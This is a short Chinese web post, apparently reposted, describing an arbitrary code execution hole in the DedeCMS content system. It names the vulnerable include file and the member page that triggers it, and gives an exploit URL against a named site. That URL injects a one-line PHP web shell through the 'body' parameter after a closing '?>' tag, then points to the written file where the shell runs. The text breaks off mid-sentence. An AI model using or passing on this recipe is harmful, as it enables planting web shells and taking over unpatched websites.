织梦网任意代码执行漏洞 -电脑资料

    http://www.xssor.cn/sa

    用dedecms 朋友还是小心点吧，

织梦网任意代码执行漏洞

    漏洞页面是   \include\inc_bookfunctions.php

    触发页面是 member/story_add_content_action.php

    接着就是打开下面的地址：

    http://www.guo3.com/member/story_add_content_action.php?chapterid=1&arcID=1&body=?>后面加上一句话代码，

电脑资料

    然后打开http://www.guo3.com/data/textdata/1/bk1.php就是我们